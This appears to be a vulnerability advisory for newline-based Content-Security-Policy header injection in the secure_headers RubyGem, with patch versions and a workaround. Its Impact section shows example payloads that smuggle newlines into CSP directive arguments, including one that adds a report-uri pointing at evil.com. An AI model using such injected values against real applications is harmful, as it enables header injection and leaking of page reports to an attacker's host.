In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.

Affected: RubyGems: secure_headers

### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ```

would result in

``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or…

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Affected: Ubuntu:18.04:LTS: ruby-secure-headers, Ubuntu:20.04:LTS: ruby-secure-headers

In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.